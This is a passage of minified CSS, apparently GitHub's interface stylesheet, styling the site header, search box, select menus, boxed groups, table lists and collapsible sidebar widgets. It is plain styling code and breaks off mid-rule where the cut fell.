.header-logged-out{padding:48px 0 24px;background-color:transparent}.session-authentication.hosted .header-logged-out{padding:40px 0 16px;background-color:transparent}.Header-old{z-index:32;padding-top:12px;padding-bottom:12px;color:#fff;background-color:var(--color-header-bg)}.server-stats+.Header-old{box-shadow:inset 0 1px 0 rgba(255,255,255,.075)}.Header-old .dropdown-menu{width:300px}.Header-old .notification-indicator:hover::after{content:none}@media(min-width: 1012px){.Header-old .notification-indicator:hover::after{content:attr(aria-label)}}.HeaderMenu{display:none;clear:both}@media(min-width: 1012px){.HeaderMenu{display:block;clear:none}}.open .HeaderMenu{display:block}.HeaderMenu-summary::marker,.HeaderMenu-summary::-webkit-details-marker{display:none}@keyframes dropdown-display{0%{opacity:0;transform:scale(0.98) translateY(-0.6em)}100%{opacity:1;transform:scale(1) translateY(0)}}.HeaderMenu--logged-out{z-index:100;width:300px;overflow:auto;background-color:var(--color-canvas-default);box-shadow:0 10px 50px rgba(27,31,35,.15)}@media(min-width: 1012px){.HeaderMenu--logged-out{width:auto;overflow:visible;background-color:transparent;box-shadow:none}}.HeaderMenu--logged-out .jump-to-suggestions{top:100%}.HeaderMenu--logged-out .HeaderMenu-details[open]>summary::before{position:absolute;bottom:-8px;display:block}.HeaderMenu--logged-out .header-search-key-slash{margin-right:8px !important}.HeaderMenu--logged-out .dropdown-menu{position:static;width:auto;border:0 solid transparent;box-shadow:none}.HeaderMenu--logged-out .dropdown-menu::before,.HeaderMenu--logged-out .dropdown-menu::after{display:none}@media(min-width: 1012px){.HeaderMenu--logged-out .dropdown-menu{position:absolute;width:300px;border:0;box-shadow:0 3px 12px rgba(27,31,35,.15),0 0 1px rgba(27,31,35,.2)}.HeaderMenu--logged-out .dropdown-menu::before,.HeaderMenu--logged-out .dropdown-menu::after{content:""}}.HeaderMenu--logged-out .dropdown-menu-s{transform:none}@media(min-width: 1012px){.HeaderMenu--logged-out .dropdown-menu-s{transform:translateX(50%)}}.HeaderMenu--logged-out .header-search{width:auto;border-top:0}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search{width:240px}}.HeaderMenu--logged-out .header-search-wrapper{border-color:var(--color-border-muted)}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search-wrapper{border-color:var(--color-header-search-border)}}@media(max-width: 1012px){.HeaderMenu--logged-out .header-search-wrapper{background-color:var(--color-canvas-default)}}.HeaderMenu--logged-out .header-search-input{padding-top:8px;padding-bottom:8px;font-size:14px;-webkit-appearance:none;color:var(--color-fg-default)}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search-input{color:inherit}}.HeaderMenu--logged-out .header-search-input::placeholder{color:var(--color-fg-muted) !important}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search-input::placeholder{color:rgba(255,255,255,.75) !important}}.HeaderMenu-link{color:var(--color-fg-default);white-space:nowrap;background:transparent;transition:opacity .4s}.HeaderMenu-link:hover{color:var(--color-fg-default);opacity:.75}@media(min-width: 1012px){.HeaderMenu-link{color:#fff;transition:opacity .4s}.HeaderMenu-link:hover{color:#fff;opacity:.75}}.HeaderMenu-link .icon-chevon-down-mktg{top:24px;right:0;width:14px;stroke:var(--color-fg-default);transition:stroke .4s}@media(min-width: 1012px){.HeaderMenu-link .icon-chevon-down-mktg{top:-2px;width:12px;stroke:rgba(255,255,255,.5);background:transparent}}.HeaderMenu-details[open]>summary::before{display:none}@media(min-width: 1012px){.HeaderMenu-details[open]>summary::before{position:absolute;bottom:-8px;display:block}}.HeaderMenu-details[open] .HeaderMenu-link{color:var(--color-fg-default)}@media(min-width: 1012px){.HeaderMenu-details[open] .HeaderMenu-link{color:rgba(255,255,255,.75)}}.HeaderMenu-details[open] .dropdown-menu{animation:none}@media(min-width: 1012px){.HeaderMenu-details[open] .dropdown-menu{animation:dropdown-display .4s cubic-bezier(0.73, 0.005, 0.22, 1)}}.HeaderMenu-details[open] .icon-chevon-down-mktg{stroke:var(--color-fg-default)}@media(min-width: 1012px){.HeaderMenu-details[open] .icon-chevon-down-mktg{stroke:#fff}}.header-logo-invertocat{margin:-1px 16px -1px -2px;color:#fff;white-space:nowrap}.header-logo-invertocat .octicon-mark-github{float:left}.header-logo-invertocat:hover{color:#fff;text-decoration:none}.notification-indicator .mail-status{position:absolute;top:-6px;left:6px;z-index:2;display:none;width:14px;height:14px;color:#fff;background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border:2px solid var(--color-header-bg);border-radius:50%}.notification-indicator .mail-status.unread{display:inline-block}.notification-indicator:hover .mail-status{text-decoration:none;background-color:var(--color-accent-emphasis)}.header-nav-current-user{padding-bottom:0;font-size:inherit}.header-nav-current-user .css-truncate-target{max-width:100%}.header-nav-current-user .user-profile-link{color:var(--color-fg-default)}.unread-indicator{position:absolute;top:0;left:13px;z-index:2;width:14px;height:14px;color:#fff;background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border:2px solid var(--color-header-bg);border-radius:50%}.unread-indicator--small{width:10px;height:10px;border:0}.unread-indicator-container .unread-indicator{top:9px;right:10px;left:inherit;width:10px;height:10px;border:0}.header-search-wrapper{display:table;width:100%;max-width:100%;padding:0;font-size:inherit;font-weight:400;color:var(--color-scale-white);vertical-align:middle;background-color:var(--color-header-search-bg);border:1px solid var(--color-header-search-border);box-shadow:none}.header-search-wrapper.header-search-wrapper-jump-to .header-search-scope{width:-moz-fit-content;width:fit-content}.header-search-wrapper .truncate-repo-scope{max-width:110px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.header-search-wrapper.focus{background-color:rgba(255,255,255,.175);box-shadow:none}.header-search-wrapper.focus .header-search-scope{color:var(--color-scale-white);background-color:rgba(255,255,255,.075);border-right-color:#282e34}.header-search-input{display:table-cell;width:100%;padding-top:0;padding-bottom:0;font-size:inherit;color:inherit;background:none;border:0;box-shadow:none}.header-search-input::placeholder{color:rgba(255,255,255,.75)}.header-search-input:focus{border:0;box-shadow:none}.header-search-input:focus~.header-search-key-slash{display:none !important}.header-search-input::-ms-clear{display:none}.header-search-button{display:table-cell;font-size:inherit;color:inherit;background:none}.header-search-button.input-button:focus{border:0 !important;box-shadow:none}.header-search-button.input-button:focus~.header-search-key-slash{display:none !important}.header-search-button::-ms-clear{display:none}.header-search-button.placeholder{color:rgba(255,255,255,.75)}.header-search-scope{display:none;padding-right:8px;padding-left:8px;font-size:inherit;line-height:28px;color:rgba(255,255,255,.7);white-space:nowrap;vertical-align:middle;border-right:1px solid var(--color-border-muted);border-right-color:#282e34;border-top-left-radius:6px;border-bottom-left-radius:6px}.header-search-scope:empty+.header-search-input{width:100%}.header-search-scope:hover{color:var(--color-scale-white);background-color:rgba(255,255,255,.12)}.scoped-search .header-search-wrapper{display:flex}.jump-to-field-active{color:var(--color-fg-default) !important;background-color:var(--color-canvas-subtle)}.jump-to-field-active::placeholder{color:var(--color-fg-muted) !important}.jump-to-field-active~.header-search-key-slash{display:none}.jump-to-field-active.jump-to-dropdown-visible{border-bottom-right-radius:0;border-bottom-left-radius:0}.jump-to-suggestions{top:100%;left:0;z-index:35;width:100%;border-top-left-radius:0;border-top-right-radius:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px;box-shadow:0 4px 10px rgba(0,0,0,.1)}.jump-to-suggestions-path{min-width:0;min-height:44px;color:var(--color-fg-default)}.jump-to-suggestions-path .jump-to-octicon{width:28px;color:var(--color-fg-muted)}.jump-to-suggestions-path .jump-to-suggestion-name{max-width:none}.jump-to-suggestions-path mark{font-weight:600;background-color:transparent}.jump-to-suggestions-results-container .navigation-item{border-bottom:1px solid var(--color-border-default)}.jump-to-suggestions-results-container .navigation-item:last-child{border-bottom:0}.jump-to-suggestions-results-container .d-on-nav-focus{display:none}.jump-to-suggestions-results-container [aria-selected=true] .jump-to-octicon,.jump-to-suggestions-results-container .navigation-focus .jump-to-octicon{color:var(--color-fg-on-emphasis)}.jump-to-suggestions-results-container [aria-selected=true] .jump-to-suggestions-path,.jump-to-suggestions-results-container .navigation-focus .jump-to-suggestions-path{color:var(--color-fg-on-emphasis);background:var(--color-accent-emphasis)}.jump-to-suggestions-results-container [aria-selected=true] mark,.jump-to-suggestions-results-container .navigation-focus mark{color:var(--color-fg-on-emphasis)}.jump-to-suggestions-results-container [aria-selected=true] .d-on-nav-focus,.jump-to-suggestions-results-container .navigation-focus .d-on-nav-focus{display:block}.header-search{max-width:100%;transition:.2s ease-in-out;transition-property:max-width,padding-bottom,padding-top}@media(min-width: 768px){.header-search{max-width:272px}}@media(min-width: 768px){.header-search:focus-within{max-width:544px}}@media(min-width: 768px){.header-search.fixed-width:focus-within{max-width:272px}}.HeaderMenu--logged-out .header-search{min-width:auto}.search-input{width:350px}.search-input-container{z-index:35;height:36px;color:var(--color-scale-white);background-color:var(--color-header-search-bg);border:1px solid var(--color-header-search-border)}.search-input-container .input-parsed-symbol{padding-right:4px;padding-left:4px;color:var(--color-accent-emphasis);background:var(--color-accent-subtle);border-radius:6px}.search-suggestions{top:-14px;left:-14px;z-index:15;width:calc(100% + 26px) !important}.search-suggestions .suggestion-search-input-wrapper{border:1px solid var(--color-accent-emphasis);align-items:center;box-shadow:var(--color-btn-shadow-input-focus)}.search-suggestions .suggestion-search-input{height:24px;padding-top:2px;margin-right:12px;margin-left:12px;white-space:pre;outline:0 solid transparent;align-items:center}.search-suggestions .suggestion-search-input:empty::before{color:var(--color-fg-subtle);content:attr(placeholder)}.search-suggestions .suggestion-list{list-style:none}.search-suggestions .suggestion-list [aria-selected=true]{background-color:var(--color-canvas-inset) !important}.search-suggestions .suggestion-list :hover{background-color:inherit}.search-suggestions .header-search-input{overflow:hidden}.dark-backdrop{top:0;right:0;bottom:0;left:0;z-index:32;height:100%;background-color:var(--color-primer-canvas-backdrop)}.Header-item--search{flex-grow:100}.boxed-group{position:relative;margin-bottom:30px;border-radius:6px}.boxed-group .Counter{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis)}.boxed-group.flush .boxed-group-inner{padding:0}.boxed-group.condensed .boxed-group-inner{padding:0;font-size:12px}.boxed-group>h3,.boxed-group .heading{display:block;padding:9px 10px 10px;margin:0;font-size:14px;line-height:17px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-bottom:0;border-radius:6px 6px 0 0}.boxed-group>h3 a,.boxed-group .heading a{color:inherit}.boxed-group>h3 a.boxed-group-breadcrumb,.boxed-group .heading a.boxed-group-breadcrumb{font-weight:400;color:var(--color-fg-muted);text-decoration:none}.boxed-group>h3 .avatar,.boxed-group .heading .avatar{margin-top:-4px}.boxed-group .tabnav.heading{padding:0}.boxed-group .tabnav.heading .tabnav-tab.selected{border-top:0}.boxed-group .tabnav.heading li:first-child .selected{border-left-color:var(--color-canvas-default);border-top-left-radius:6px}.boxed-group .tabnav-tab{border-top:0;border-radius:0}.boxed-group code.heading{font-size:12px}.boxed-group.dangerzone>h3{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis);border:1px solid var(--color-danger-emphasis)}.boxed-group.dangerzone .boxed-group-inner{border-top:0}.boxed-group.condensed>h3{padding:6px 6px 7px;font-size:12px}.boxed-group.condensed>h3 .octicon{padding:0 6px 0 2px}.dashboard-sidebar .boxed-group{margin-bottom:20px}.boxed-group .bleed-flush{width:100%;padding:0 10px;margin-left:-10px}.boxed-group .compact{margin-top:10px;margin-bottom:10px}.boxed-group-inner{padding:10px;color:var(--color-fg-muted);background:var(--color-canvas-default);border:1px solid var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.boxed-group-inner .markdown-body{padding:20px 10px 10px;font-size:13px}.boxed-group-inner.markdown-body{padding-top:10px;padding-bottom:10px}.boxed-group-inner.seamless{padding:0}.boxed-group-inner .tabnav{padding-right:10px;padding-left:10px;margin-right:-10px;margin-left:-10px}.boxed-group-inner .tabnav-tab.selected{border-top:1px solid var(--color-border-default)}.boxed-action{float:right;margin-left:10px}.boxed-group-action{position:relative;z-index:2;float:right;margin:5px 10px 0 0}.boxed-group-action.flush{margin-top:0;margin-right:0}.field-with-errors{display:inline}.boxed-group-list{margin:0;list-style:none}.boxed-group-list:first-child>li:first-child{border-top:0}.boxed-group-list>li{display:block;padding:5px 10px;margin-right:-10px;margin-left:-10px;line-height:23px;border-bottom:1px solid var(--color-border-default)}.boxed-group-list>li:first-child{border-top:1px solid var(--color-border-default)}.boxed-group-list>li:last-of-type{border-bottom:0}.boxed-group-list>li.selected{background:var(--color-success-subtle)}.boxed-group-list>li.approved .btn-sm,.boxed-group-list>li.rejected .btn-sm{display:none}.boxed-group-list>li.rejected a{text-decoration:line-through}.boxed-group-list>li .avatar{margin-top:-2px;margin-right:4px}.boxed-group-list>li .octicon{width:24px;margin-right:4px}.boxed-group-list>li .btn-sm{float:right;margin:-1px 0 0 10px}.boxed-group-list>li .BtnGroup{float:right}.boxed-group-list>li .BtnGroup .btn-sm{float:left}.boxed-group.flush .boxed-group-list li{width:auto;padding-right:0;padding-left:0;margin-left:0}.boxed-group-list.standalone{margin-top:-1px}.boxed-group-list.standalone>li:first-child{border-top:0}.boxed-group-table{width:100%;text-align:left}.boxed-group-table tr:last-child td{border-bottom:0}.boxed-group-table th{padding:9px;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-muted)}.boxed-group-table td{padding:9px;vertical-align:top;border-bottom:1px solid var(--color-border-muted)}.ajax-error-message{position:fixed;top:0;left:50%;z-index:9999;width:974px;margin:0 3px;margin-left:-487px;transition:top .5s ease-in-out}.ajax-error-message>.octicon-alert{vertical-align:text-top}.container{width:980px;margin-right:auto;margin-left:auto}.container::before{display:table;content:""}.container::after{display:table;clear:both;content:""}.draft.octicon{color:var(--color-fg-muted)}.closed.octicon,.reverted.octicon{color:var(--color-closed-fg)}.open.octicon{color:var(--color-open-fg)}.closed.octicon.octicon-issue-closed,.merged.octicon{color:var(--color-done-fg)}.progress-bar{display:block;height:15px;overflow:hidden;background-color:var(--color-border-muted);border-radius:6px}.progress-bar .progress{display:block;height:100%;background-color:var(--color-success-emphasis)}.reverse-progress-container{position:relative;height:3px;background-color:var(--color-border-muted);background-image:linear-gradient(to right, var(--color-success-emphasis), var(--color-accent-emphasis), var(--color-done-emphasis), var(--color-danger-emphasis), var(--color-severe-emphasis));background-size:100% 3px}.reverse-progress-bar{position:absolute;right:0;height:100%;background-color:var(--color-border-muted)}.progress-bar-small{height:10px}.select-menu-button::after{display:inline-block;width:0;height:0;vertical-align:-2px;content:"";border:4px solid;border-right-color:transparent;border-bottom-color:transparent;border-left-color:transparent}.select-menu-button.icon-only{padding-left:7px}.select-menu-button.primary::after{border-top-color:var(--color-fg-on-emphasis)}.select-menu-button.primary::after:active{background-color:var(--color-success-emphasis)}.select-menu-button-large::after{margin-left:.25em;border-width:.33em}.select-menu .spinner{float:left;margin:4px 0 0 -24px}.select-menu.active .select-menu-modal-holder{display:block}.select-menu.select-menu-modal-right{position:relative}.select-menu.select-menu-modal-right .select-menu-modal-holder{right:0}.select-menu .select-menu-clear-item{display:block}.select-menu .select-menu-clear-item .octicon{color:inherit}.select-menu .select-menu-clear-item+.select-menu-no-results{display:none !important}.select-menu.is-loading .select-menu-loading-overlay{display:block}.select-menu.is-loading .select-menu-modal{min-height:200px}.select-menu.has-error .select-menu-error{display:block}.select-menu-error{display:none}.select-menu-loading-overlay{position:absolute;top:0;z-index:5;display:none;width:100%;height:100%;background-color:var(--color-canvas-overlay);border:1px solid transparent;border-radius:5px}.select-menu-modal-holder{position:absolute;z-index:30;display:none}.select-menu-modal{position:relative;width:300px;margin-top:4px;margin-bottom:20px;overflow:hidden;font-size:12px;color:var(--color-fg-default);background-color:var(--color-canvas-overlay);background-clip:padding-box;border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-large)}.select-menu-header,.select-menu-divider{padding:8px 10px;line-height:16px;background:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-muted)}.select-menu-header .select-menu-title,.select-menu-divider{font-weight:600;color:var(--color-fg-default)}.select-menu-divider{margin-top:-1px;border-top:1px solid var(--color-border-muted)}.select-menu-header .close-button,.select-menu-header .octicon{display:block;float:right;color:var(--color-fg-muted);cursor:pointer}.select-menu-header .close-button:hover,.select-menu-header .octicon:hover{color:var(--color-fg-default)}.select-menu-header:focus{outline:none}.select-menu-filters{background-color:var(--color-canvas-overlay)}.select-menu-text-filter{padding:10px 10px 0}.select-menu-text-filter:first-child:last-child{padding-bottom:10px;border-bottom:1px solid var(--color-border-muted)}.select-menu-text-filter input{display:block;width:100%;max-width:100%;padding:5px;border:1px solid var(--color-border-muted);border-radius:6px}.select-menu-text-filter input::placeholder{color:var(--color-fg-subtle)}.select-menu-tabs{padding:10px 10px 0;border-bottom:1px solid var(--color-border-muted)}.select-menu-tabs ul{position:relative;bottom:-1px}.select-menu-tabs .select-menu-tab{display:inline-block}.select-menu-tabs a,.select-menu-tabs .select-menu-tab-nav{display:inline-block;padding:4px 8px 2px;font-size:12px;font-weight:600;color:var(--color-fg-muted);text-decoration:none;cursor:pointer;background:transparent;border:1px solid transparent;border-radius:6px 6px 0 0}.select-menu-tabs a:hover,.select-menu-tabs .select-menu-tab-nav:hover{color:var(--color-fg-default)}.select-menu-tabs a[aria-selected=true],.select-menu-tabs a.selected,.select-menu-tabs .select-menu-tab-nav[aria-selected=true],.select-menu-tabs .select-menu-tab-nav.selected{color:var(--color-fg-default);background-color:var(--color-canvas-overlay);border-color:var(--color-border-muted);border-bottom-color:var(--color-canvas-overlay)}.select-menu-list{position:relative;max-height:400px;overflow:auto}.select-menu-list.is-showing-new-item-form .select-menu-new-item-form{display:block}.select-menu-list.is-showing-new-item-form .select-menu-no-results,.select-menu-list.is-showing-new-item-form .select-menu-clear-item{display:none}.select-menu-blankslate{padding:16px;text-align:center}.select-menu-blankslate svg{display:block;margin-right:auto;margin-bottom:9px;margin-left:auto;fill:var(--color-fg-muted)}.select-menu-blankslate h3{font-size:14px;color:var(--color-fg-default)}.select-menu-blankslate p{width:195px;margin-right:auto;margin-bottom:0;margin-left:auto}.select-menu-item{display:block;padding:8px 8px 8px 30px;overflow:hidden;color:inherit;cursor:pointer;border-bottom:1px solid var(--color-border-muted)}.select-menu-item .select-menu-item-text .octicon-x{display:none;float:right;margin:1px 10px 0 0;opacity:.6}.select-menu-item:hover{text-decoration:none}.select-menu-item.disabled,.select-menu-item[disabled],.select-menu-item[aria-disabled=true],.select-menu-item.disabled.selected{color:var(--color-fg-muted);cursor:default}.select-menu-item.disabled .description,.select-menu-item[disabled] .description,.select-menu-item[aria-disabled=true] .description,.select-menu-item.disabled.selected .description{color:var(--color-fg-muted)}.select-menu-item.disabled.opaque,.select-menu-item[disabled].opaque,.select-menu-item[aria-disabled=true].opaque,.select-menu-item.disabled.selected.opaque{opacity:.7}.select-menu-item.disabled .select-menu-item-gravatar,.select-menu-item[disabled] .select-menu-item-gravatar,.select-menu-item[aria-disabled=true] .select-menu-item-gravatar,.select-menu-item.disabled.selected .select-menu-item-gravatar{opacity:.5}.select-menu-item .octicon{vertical-align:middle}.select-menu-item .octicon-check,.select-menu-item .octicon-circle-slash,.select-menu-item input[type=radio]:not(:checked)+.octicon-check,.select-menu-item input[type=radio]:not(:checked)+.octicon-circle-slash{visibility:hidden}.select-menu-item.selected .octicon-circle-slash.select-menu-item-icon{color:var(--color-fg-muted) !important}.select-menu-item .octicon-circle-slash{color:var(--color-fg-muted)}.select-menu-item.excluded{background-color:var(--color-canvas-subtle)}.select-menu-item input[type=radio]{display:none}.select-menu-item:focus{outline:none}.select-menu-item:focus .octicon,.select-menu-item:hover .octicon{color:inherit !important}.select-menu-item:hover,.select-menu-item:hover.selected,.select-menu-item:hover.select-menu-action,.select-menu-item:hover .description-inline,.select-menu-item:focus,.select-menu-item:focus.selected,.select-menu-item:focus.select-menu-action,.select-menu-item:focus .description-inline,.select-menu-item.navigation-focus,.select-menu-item.navigation-focus.selected,.select-menu-item.navigation-focus.select-menu-action,.select-menu-item.navigation-focus .description-inline,.select-menu-item.navigation-focus[aria-checked=true],.select-menu-item[aria-checked=true]:focus,.select-menu-item[aria-checked=true]:hover,.select-menu-item[aria-selected=true]:hover,.select-menu-item[aria-selected=true]:focus,.select-menu-item[aria-selected=true].select-menu-action,.select-menu-item[aria-selected=true] .description-inline{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.select-menu-item:hover>.octicon,.select-menu-item:hover.selected>.octicon,.select-menu-item:hover.select-menu-action>.octicon,.select-menu-item:hover .description-inline>.octicon,.select-menu-item:focus>.octicon,.select-menu-item:focus.selected>.octicon,.select-menu-item:focus.select-menu-action>.octicon,.select-menu-item:focus .description-inline>.octicon,.select-menu-item.navigation-focus>.octicon,.select-menu-item.navigation-focus.selected>.octicon,.select-menu-item.navigation-focus.select-menu-action>.octicon,.select-menu-item.navigation-focus .description-inline>.octicon,.select-menu-item.navigation-focus[aria-checked=true]>.octicon,.select-menu-item[aria-checked=true]:focus>.octicon,.select-menu-item[aria-checked=true]:hover>.octicon,.select-menu-item[aria-selected=true]:hover>.octicon,.select-menu-item[aria-selected=true]:focus>.octicon,.select-menu-item[aria-selected=true].select-menu-action>.octicon,.select-menu-item[aria-selected=true] .description-inline>.octicon{color:var(--color-fg-on-emphasis)}.select-menu-item:hover .description,.select-menu-item:hover .description-warning,.select-menu-item:hover.selected .description,.select-menu-item:hover.selected .description-warning,.select-menu-item:hover.select-menu-action .description,.select-menu-item:hover.select-menu-action .description-warning,.select-menu-item:hover .description-inline .description,.select-menu-item:hover .description-inline .description-warning,.select-menu-item:focus .description,.select-menu-item:focus .description-warning,.select-menu-item:focus.selected .description,.select-menu-item:focus.selected .description-warning,.select-menu-item:focus.select-menu-action .description,.select-menu-item:focus.select-menu-action .description-warning,.select-menu-item:focus .description-inline .description,.select-menu-item:focus .description-inline .description-warning,.select-menu-item.navigation-focus .description,.select-menu-item.navigation-focus .description-warning,.select-menu-item.navigation-focus.selected .description,.select-menu-item.navigation-focus.selected .description-warning,.select-menu-item.navigation-focus.select-menu-action .description,.select-menu-item.navigation-focus.select-menu-action .description-warning,.select-menu-item.navigation-focus .description-inline .description,.select-menu-item.navigation-focus .description-inline .description-warning,.select-menu-item.navigation-focus[aria-checked=true] .description,.select-menu-item.navigation-focus[aria-checked=true] .description-warning,.select-menu-item[aria-checked=true]:focus .description,.select-menu-item[aria-checked=true]:focus .description-warning,.select-menu-item[aria-checked=true]:hover .description,.select-menu-item[aria-checked=true]:hover .description-warning,.select-menu-item[aria-selected=true]:hover .description,.select-menu-item[aria-selected=true]:hover .description-warning,.select-menu-item[aria-selected=true]:focus .description,.select-menu-item[aria-selected=true]:focus .description-warning,.select-menu-item[aria-selected=true].select-menu-action .description,.select-menu-item[aria-selected=true].select-menu-action .description-warning,.select-menu-item[aria-selected=true] .description-inline .description,.select-menu-item[aria-selected=true] .description-inline .description-warning{color:var(--color-fg-on-emphasis)}.select-menu-item:hover.disabled,.select-menu-item[disabled]:hover,.select-menu-item[aria-disabled=true]:hover,.select-menu-item[aria-selected=true].disabled,.select-menu-item.navigation-focus.disabled{color:var(--color-fg-muted);background-color:var(--color-canvas-overlay)}.select-menu-item:hover.disabled .description,.select-menu-item[disabled]:hover .description,.select-menu-item[aria-disabled=true]:hover .description,.select-menu-item[aria-selected=true].disabled .description,.select-menu-item.navigation-focus.disabled .description{color:var(--color-fg-muted)}.select-menu-item>.octicon-dash{display:none}.select-menu-item[aria-checked=mixed]>.octicon-check{display:none}.select-menu-item[aria-checked=mixed]>.octicon-dash{display:block}.select-menu-item input:checked+.octicon-check{color:inherit;visibility:visible}details-menu .select-menu-item[aria-checked=true],details-menu .select-menu-item[aria-selected=true],.select-menu-item.selected{color:var(--color-fg-default)}details-menu .select-menu-item[aria-checked=true] .description,details-menu .select-menu-item[aria-selected=true] .description,.select-menu-item.selected .description{color:var(--color-fg-muted)}details-menu .select-menu-item[aria-checked=true]>.octicon,details-menu .select-menu-item[aria-selected=true]>.octicon,.select-menu-item.selected>.octicon{color:var(--color-fg-default)}details-menu .select-menu-item[aria-checked=true] .octicon-check,details-menu .select-menu-item[aria-checked=true] .octicon-circle-slash,details-menu .select-menu-item[aria-selected=true] .octicon-check,details-menu .select-menu-item[aria-selected=true] .octicon-circle-slash,.select-menu-item.selected .octicon-check,.select-menu-item.selected .octicon-circle-slash{color:inherit;visibility:visible}details-menu .select-menu-item[aria-checked=true] .select-menu-item-text .octicon-x,details-menu .select-menu-item[aria-selected=true] .select-menu-item-text .octicon-x,.select-menu-item.selected .select-menu-item-text .octicon-x{display:block;color:inherit}.select-menu.label-select-menu .select-menu-item:active{background-color:transparent !important}.select-menu-item:hover .Label,.select-menu-item:focus .Label{color:inherit;border-color:currentColor}.select-menu-item a{color:inherit;text-decoration:none}.select-menu-item .hidden-select-button-text{display:none}.select-menu-item .css-truncate-target{max-width:100%}.select-menu-item-icon{float:left;margin-left:-20px}form.select-menu-item>div:first-child{display:none !important}.select-menu-list:last-child .select-menu-item:last-child,.select-menu-item.last-visible{border-bottom:0;border-radius:0 0 6px 6px}.select-menu-action{font-weight:400;color:var(--color-fg-default)}.select-menu-action>.octicon{color:inherit}.select-menu-action:hover{color:var(--color-accent-fg)}.select-menu-no-results{display:none;padding:9px;color:var(--color-fg-muted);cursor:auto}.select-menu-list.filterable-empty .select-menu-no-results,.select-menu-no-results:only-child{display:block}.select-menu-button-gravatar,.select-menu-item-gravatar{width:20px;overflow:hidden;line-height:0}.select-menu-button-gravatar img,.select-menu-item-gravatar img{display:inline-block;width:20px;height:20px;border-radius:6px}.select-menu-item-gravatar{float:left;width:20px;height:20px;margin-right:8px;border-radius:6px}.select-menu-button-gravatar{float:left;margin-right:5px}.select-menu-item-text{display:block;text-align:left}.select-menu-item-text .description{display:block;max-width:265px;font-size:12px;color:var(--color-fg-muted)}.select-menu-item-text .description-inline{font-size:12px;color:var(--color-fg-muted)}.select-menu-item-text .description-warning{color:var(--color-danger-fg)}.select-menu-item-text mark{font-weight:600;color:inherit;background-color:inherit}.select-menu-item-heading{display:block;margin-top:0;margin-bottom:0;font-size:14px;font-weight:600}.select-menu-item-heading .description{display:inline;font-weight:400}.select-menu-new-item-form{display:none}.select-menu-new-item-form .octicon{color:var(--color-accent-fg)}.table-list{display:table;width:100%;color:var(--color-fg-muted);table-layout:fixed;border-bottom:1px solid var(--color-border-default)}.table-list ol{list-style-type:decimal}.table-list-bordered{border-bottom-color:var(--color-border-default)}.table-list-bordered .table-list-cell:first-child{border-left:1px solid var(--color-border-default)}.table-list-bordered .table-list-cell:last-child{border-right:1px solid var(--color-border-default)}.table-list-item{position:relative;display:table-row;list-style:none}.table-list-item.unread .table-list-cell:first-child{box-shadow:2px 0 0 var(--color-accent-emphasis) inset}.table-list-cell{position:relative;display:table-cell;padding:8px 10px;font-size:12px;vertical-align:top;border-top:1px solid var(--color-border-default)}.table-list-cell.flush-left{padding-left:0}.table-list-cell.flush-right{padding-right:0}.table-list-header{position:relative;margin-top:20px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px 6px 0 0}.table-list-header::before{display:table;content:""}.table-list-header::after{display:table;clear:both;content:""}.table-list-header .btn-link{position:relative;display:inline-block;padding-top:13px;padding-bottom:13px;font-weight:400}.table-list-heading{margin-left:10px}.table-list-header-meta{display:inline-block;padding-top:13px;padding-bottom:13px;color:var(--color-fg-muted)}.table-list-header-toggle h4{padding:12px 0}.table-list-filters:first-child .table-list-header-toggle:first-child{padding-left:16px}.table-list-header-toggle.states .selected{font-weight:600}.table-list-header-toggle .btn-link{color:var(--color-fg-muted)}.table-list-header-toggle .btn-link .octicon{margin-right:4px}.table-list-header-toggle .btn-link:hover{color:var(--color-fg-default);text-decoration:none}.table-list-header-toggle .btn-link.selected,.table-list-header-toggle .btn-link.selected:hover{color:var(--color-fg-default)}.table-list-header-toggle .btn-link+.btn-link{margin-left:10px}.table-list-header-toggle .btn-link:disabled,.table-list-header-toggle .btn-link.disabled{pointer-events:none;opacity:.5}.table-list-header-toggle .select-menu{position:relative}.table-list-header-toggle .select-menu-item[aria-checked=true],.table-list-header-toggle .select-menu-item.selected{font-weight:600}.table-list-header-toggle .select-menu-button{padding-right:15px;padding-left:15px}.table-list-header-toggle .select-menu-button:hover,.table-list-header-toggle .select-menu-button.selected,.table-list-header-toggle .select-menu-button.selected:hover{color:var(--color-fg-default)}.table-list-header-toggle .select-menu-modal-holder{right:10px}.table-list-header-toggle .select-menu-modal-holder .select-menu-modal{margin-top:-1px}.table-list-header-next{margin-top:20px;margin-bottom:-1px}.table-list-header-next .table-list-header-select-all{padding-left:14px}.table-list-header-next .select-all-dropdown{padding-top:10px;padding-bottom:10px}.table-list-triage{display:none}.triage-mode .table-list-filters{display:none !important}.triage-mode .table-list-triage{display:block}.breadcrumb{font-size:16px;color:var(--color-fg-muted)}.breadcrumb .separator{white-space:pre-wrap}.breadcrumb .separator::before,.breadcrumb .separator::after{content:" "}.breadcrumb strong.final-path{color:var(--color-fg-default)}.capped-cards{list-style:none}.capped-card-content{display:block;background:var(--color-canvas-subtle)}.capped-card-content::before{display:table;content:""}.capped-card-content::after{display:table;clear:both;content:""}.details-collapse .collapse{position:relative;display:none;height:0;overflow:hidden;transition:height .35s ease-in-out}.details-collapse.open .collapse{display:block;height:auto;overflow:visible}.collapsible-sidebar-widget-button{display:flex;padding:0;align-items:center;background-color:transparent;border:0;justify-content:space-between}.collapsible-sidebar-widget-indicator{transition:transform .25s;transform:translate(0, 0) translate3d(0, 0, 0)}.collapsible-sidebar-widget-loader{display:none;visibility:hidden;opacity:0;transition:opacity .25s;animation-play-state:paused}.collapsible-sidebar-widget-content{width:100%;max-height:0;overflow:hidden;opacity:0;transition:max-height .25s ease-in-out,opacity .25s 